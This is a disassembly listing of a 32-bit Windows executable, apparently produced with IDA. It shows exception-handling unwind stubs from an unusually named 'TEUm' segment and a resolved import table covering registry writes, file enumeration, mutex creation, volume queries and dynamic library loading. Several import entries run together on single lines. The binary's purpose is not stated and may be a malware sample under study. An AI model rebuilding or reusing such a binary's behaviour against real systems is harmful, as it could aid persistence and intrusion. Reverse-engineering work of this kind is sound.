		jmp	sub_4317A2
; ---------------------------------------------------------------------------

locret_4322E2:				; CODE XREF: TEUm:004322D4j
		retn
; ---------------------------------------------------------------------------


loc_4322E3:				; DATA XREF: sub_425896o
		mov	eax, offset dword_435438
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_4322F8:				; DATA XREF: TEUm:004354B4o
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432330:				; DATA XREF: sub_4259AEo
		mov	eax, offset dword_435488
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432344:				; DATA XREF: TEUm:00435514o
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_43236C:				; DATA XREF: sub_425B2Eo
		mov	eax, offset dword_4354E8
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4


loc_432378:				; DATA XREF: TEUm:00435564o
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_4323B6
		mov	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------

locret_4323B6:				; CODE XREF: TEUm:004323A8j
		retn
; ---------------------------------------------------------------------------


loc_4323B7:				; DATA XREF: sub_425C67o
		mov	eax, offset dword_435538
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_4323CC:				; DATA XREF: TEUm:004355B4o
		lea	ecx, [ebp-1Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_4323DC:				; DATA XREF: sub_425D94o
		mov	eax, offset dword_435588
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_4323F0:				; DATA XREF: TEUm:004355ECo
		lea	ecx, [ebp-14h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-74h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	sub_4317A2
; ---------------------------------------------------------------------------


loc_432470:				; DATA XREF: sub_426022o
		mov	eax, offset dword_4355C0
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 4


loc_43247C:				; DATA XREF: sub_42640Bo
		mov	eax, offset dword_435688
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_432499:				; DATA XREF: TEUm:00426505o
		mov	eax, offset dword_4356E0
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4324AC:				; DATA XREF: TEUm:00435734o
		mov	ecx, [ebp-18h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426584	proc near		; DATA XREF: sub_426584+5o
		mov	eax, offset dword_435708
		jmp	sub_4317FC
SEH_426584	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_4324DA:				; DATA XREF: TEUm:00435774o
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4324F2:				; DATA XREF: TEUm:00426882o
		mov	eax, offset dword_435748
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+0Ch]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_432505:				; DATA XREF: TEUm:004357ACo
		lea	ecx, [ebp+8]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 10h
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 14h
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42692B	proc near		; DATA XREF: sub_42692B+5o
		mov	eax, offset dword_435780
		jmp	sub_4317FC
SEH_42692B	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_432554:				; DATA XREF: TEUm:00435804o
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426ABF	proc near		; DATA XREF: sub_426ABF+5o
		mov	eax, offset dword_4357D8
		jmp	sub_4317FC
SEH_426ABF	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426B19	proc near		; DATA XREF: sub_426B19+5o
		mov	eax, offset dword_435808
		jmp	sub_4317FC
SEH_426B19	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426DB8	proc near		; DATA XREF: sub_426DB8+5o
		mov	eax, offset dword_435830
		jmp	sub_4317FC
SEH_426DB8	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_432599:				; DATA XREF: TEUm:00426E5Do
		mov	eax, offset dword_435858
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4325AC:				; DATA XREF: TEUm:004358ACo
		mov	ecx, [ebp-38h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4325C7:				; DATA XREF: TEUm:00426F3Do
		mov	eax, offset dword_435880
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-20h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_4325DA:				; DATA XREF: TEUm:004273C4o
		mov	eax, offset dword_4358C0
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4325ED:				; DATA XREF: TEUm:00435914o
		mov	ecx, [ebp-28h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_432608:				; DATA XREF: TEUm:00427480o
		mov	eax, offset dword_4358E8
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------


loc_43261B:				; DATA XREF: TEUm:00435954o
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		add	ecx, 38h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_432635:				; DATA XREF: TEUm:0042789Ao
		mov	eax, offset dword_435928
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+18h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_432649:				; DATA XREF: TEUm:0043598Co
		lea	ecx, [ebp+8]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		add	ecx, 28h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		add	ecx, 38h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_43268A:				; DATA XREF: TEUm:00427957o
		mov	eax, offset dword_435960
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------


loc_43269D:				; DATA XREF: TEUm:004359E4o
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_4326AA:				; DATA XREF: TEUm:00427ACCo
		mov	eax, offset dword_4359B8
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_4326BE:				; DATA XREF: TEUm:00427D26o
		mov	eax, offset dword_4359E8
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_4326D2:				; DATA XREF: TEUm:00427E0Ao
		mov	eax, offset dword_435A10
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------


loc_4326E5:				; DATA XREF: TEUm:00427EB1o
		mov	eax, offset dword_435A38
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_4326F9:				; DATA XREF: TEUm:00435A8Co
		mov	ecx, [ebp-34h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_432716:				; DATA XREF: TEUm:00427F36o
		mov	eax, offset dword_435A60
		jmp	sub_4317FC
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4281D0	proc near		; DATA XREF: sub_4281D0+5o
		mov	eax, offset dword_435AA0
		jmp	sub_4317FC
SEH_4281D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_428230	proc near		; DATA XREF: sub_428230+5o
		mov	eax, offset dword_435AC8
		jmp	sub_4317FC
SEH_428230	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-18h]
		add	ecx, 8
		call	dword_433168
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_428440	proc near		; DATA XREF: sub_428440+5o
		mov	eax, offset dword_435AF0
		jmp	sub_4317FC
SEH_428440	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	dword_433168
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4284A0	proc near		; DATA XREF: sub_4284A0+5o
		mov	eax, offset dword_435B18
		jmp	sub_4317FC
SEH_4284A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4327AC:				; DATA XREF: TEUm:00435B6Co
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_422BB1
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 203Ch
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4297D0	proc near		; DATA XREF: sub_4297D0+5o
		mov	eax, offset dword_435B40
		jmp	sub_4317FC
SEH_4297D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4327EC:				; DATA XREF: TEUm:00435BA4o
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_422BB1
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 203Ch
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429850	proc near		; DATA XREF: sub_429850+5o
		mov	eax, offset dword_435B78
		jmp	sub_4317FC
SEH_429850	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1Ch]
		call	sub_4241A6
		retn
; ---------------------------------------------------------------------------


loc_432829:				; DATA XREF: TEUm:00435BDCo
		lea	ecx, [ebp-18h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27BCh]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27C0h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27C8h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27CCh]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27D0h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27D4h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27D8h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27DCh]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27E0h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27E4h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27E8h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27ECh]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27F0h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27F4h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27F8h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27FCh]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2800h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2808h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1F9Ch]
		call	sub_429E60
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		call	sub_429C40
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2814h]
		call	sub_4241A6
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27B0h]
		call	sub_4264D2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42852F	proc near		; DATA XREF: sub_42852F+5o
		mov	eax, offset dword_435BB0
		jmp	sub_4317FC
SEH_42852F	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4014h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_43295F:				; DATA XREF: TEUm:00435CCCo
		lea	ecx, [ebp-8024h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_43296B:				; DATA XREF: TEUm:00435CD4o
		lea	ecx, [ebp-8028h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_432977:				; DATA XREF: TEUm:00435CDCo
		lea	ecx, [ebp-802Ch]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_432983:				; DATA XREF: TEUm:00435CE4o
		lea	ecx, [ebp-8030h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_43298F:				; DATA XREF: TEUm:00435CECo
		lea	ecx, [ebp-8034h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_43299B:				; DATA XREF: TEUm:00435CF4o
		lea	ecx, [ebp-8038h]
		call	sub_4317A2
		retn
; ---------------------------------------------------------------------------


loc_4329A7:				; DATA XREF: TEUm:00435CFCo
		lea	ecx, [ebp-803Ch]
		call	sub_4317A2
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429039	proc near		; DATA XREF: sub_429039+5o
		mov	eax, offset dword_435CA0
		jmp	sub_4317FC
SEH_429039	endp


; =============== S U B	R O U T	I N E =======================================



SEH_42948F	proc near		; DATA XREF: sub_42948F+5o
		mov	eax, offset dword_435D00
		jmp	sub_4317FC
SEH_42948F	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-14h]
		push	eax
		call	sub_43177E
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429920	proc near		; DATA XREF: sub_429920+5o
		mov	eax, offset dword_435D58
		jmp	sub_4317FC
SEH_429920	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1Ch]
		call	sub_429C40
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429AA0	proc near		; DATA XREF: sub_429AA0+5o
		mov	eax, offset dword_435D80
		jmp	sub_4317FC
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		call	sub_4241A6
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429DA0	proc near		; DATA XREF: sub_429DA0+5o
		mov	eax, offset dword_435DA8
		jmp	sub_4317FC
SEH_429DA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_43177E
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43126B	proc near		; DATA XREF: sub_43126B+5o
		mov	eax, offset dword_435DD0
		jmp	sub_4317FC
SEH_43126B	endp

; ---------------------------------------------------------------------------
		align 4
		dd 16Eh	dup(0)
dword_433000	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4266E9+8Er ...
dword_433004	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_426B19+45r ...
dword_433008	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_426CC3+74r ...
dword_43300C	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_426CC3+36r ...
dword_433010	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_426B19+79r ...
		align 8
dword_433018	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; TEUm:00421665r ...
dword_43301C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_42146A+12Ar ...
dword_433020	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; TEUm:004217F5r ...
dword_433024	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_433028	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_42146A+99r ...
dword_43302C	dd 7C834FFEh	; resolved to->KERNEL32.GetCurrentDirectoryA					; TEUm:0042212Br ...
dword_433030	dd 7C8217ACh	; resolved to->KERNEL32.CreateDirectoryA					; sub_43093B+FDr
dword_433034	dd 7C85B219h	; resolved to->KERNEL32.RemoveDirectoryAdword_433038	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesAdword_43303C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_433040	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_433044	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_433048	dd 7C8360DDh	; resolved to->KERNEL32.SetCurrentDirectoryA					; sub_424A2E+18r
dword_43304C	dd 7C80FC2Fh	; resolved to->KERNEL32.GlobalFree					; sub_4227A4+36r ...
dword_433050	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_430A42+445r
dword_433054	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_42640B+6Cr
dword_433058	dd 7C8123B9h	; resolved to->KERNEL32.GlobalReAllocdword_43305C	dd 7C80FD2Dh	; resolved to->KERNEL32.GlobalAllocdword_433060	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4227A4+82r ...
dword_433064	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_433068	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChardword_43306C	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_433070	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_433074	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_422C48+28r ...
dword_433078	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_421C92+71r ...
dword_43307C	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_4221DB+98r ...
dword_433080	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileAdword_433084	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_433088	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_43308C	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_433090	dd 7C83214Eh	; resolved to->KERNEL32.DosDateTimeToFileTimedword_433094	dd 7C810B1Ch	; resolved to->KERNEL32.SystemTimeToFileTimedword_433098	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_42E589+6Dr
dword_43309C	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_4330A0	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_43012E+59r ...
dword_4330A4	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_42E77F+27r ...
dword_4330A8	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4330AC	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrementdword_4330B0	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4330B4	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_424B41+12Dr ...
dword_4330B8	dd 7C821BA5h	; resolved to->KERNEL32.GetVolumeInformationAdword_4330BC	dd 7C80BF3Dh	; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4330C0	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4330C4	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrementdword_4330C8	dd 7C810111h	; resolved to->KERNEL32.lstrcpynA					; sub_42852F+67Fr
dword_4330CC	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_422F1F+Cr ...
dword_4330D0	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_4330D4	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryA					; sub_424B41+166r
dword_4330D8	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4330DC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_42640B+1Ar
dword_4330E0	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_422A1E+C8r ...
		align 8
dword_4330E8	dd 73E267E1h	dword_4330EC	dd 73E266E6h	dword_4330F0	dd 73E263DEh	dword_4330F4	dd 73DD6672h	dword_4330F8	dd 73E2D6BFh	dword_4330FC	dd 73DD493Dh	dword_433100	dd 73DD27B2h	dword_433104	dd 73DD418Ch	dword_433108	dd 73DD2831h	dword_43310C	dd 73E2654Dh	dword_433110	dd 73E26465h	dword_433114	dd 73DEBD63h	dword_433118	dd 73DD47A8h	dword_43311C	dd 73DD265Ch	dword_433120	dd 73DD496Bh	dword_433124	dd 73DD2709h	dword_433128	dd 73DD41F5h	dword_43312C	dd 73DD4391h	dword_433130	dd 73E2C2B3h	dword_433134	dd 73DD433Ah	dword_433138	dd 73DD4123h			align 10h
dword_433140	dd 401F3Eh						; TEUm:00421419r
dword_433144	dd 404A51h						; TEUm:004213CEr
dword_433148	dd 401888h						; TEUm:004213E0r
dword_43314C	dd 405384h						; TEUm:00421426r
dword_433150	dd 401E51h						; TEUm:00431D17r
dword_433154	dd 403B9Ah	dword_433158	dd 401204h	dword_43315C	dd 4038E0h	dword_433160	dd 401891h			align 8
dword_433168	dd 7608F485h						; TEUm:00427A7Cr ...
dword_43316C	dd 7608F470h						; TEUm:004278E0r ...
dword_433170	dd 7609F0F5h						; TEUm:00427A52r ...
dword_433174	dd 76085B0Ch						; TEUm:00427F9Er
dword_433178	dd 760AC190h						; TEUm:00427A3Br ...
dword_43317C	dd 760A06A9h						; TEUm:00427A28r ...
dword_433180	dd 7609F015h						; sub_427B23+12Cr ...
dword_433184	dd 76081F8Bh	dword_433188	dd 7608B84Ch						; sub_427B23+58r ...
dword_43318C	dd 76085828h	dword_433190	dd 76090F65h	dword_433194	dd 76097647h						; TEUm:00427906r ...
		dd 0
dword_43319C	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; TEUm:00431252r
dword_4331A0	dd 77C1BE7Bh	; resolved to->MSVCRT.atoldword_4331A4	dd 77C4AEA3h	; resolved to->MSVCRT.time					; sub_425642+AAr ...
dword_4331A8	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_426022+2EAr
dword_4331AC	dd 77C464BFh	; resolved to->MSVCRT._strnicmp					; sub_425D94+1EDr ...
dword_4331B0	dd 77C46125h	; resolved to->MSVCRT._strdupdword_4331B4	dd 77C32D22h	; resolved to->MSVCRT._mbsuprdword_4331B8	dd 77C46040h	; resolved to->MSVCRT.strcatdword_4331BC	dd 77C22738h	; resolved to->MSVCRT._EH_prologdword_4331C0	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_4331C4	dd 77C3F010h	; resolved to->MSVCRT.fopendword_4331C8	dd 77C2C407h	; resolved to->MSVCRT.malloc					; sub_42852F+940r ...
dword_4331CC	dd 77C47C60h	; resolved to->MSVCRT.strstrdword_4331D0	dd 77C40AB1h	; resolved to->MSVCRT.fclosedword_4331D4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_423288+110r ...
dword_4331D8	dd 77C41574h	; resolved to->MSVCRT.ftell					; sub_4224B5+2Er
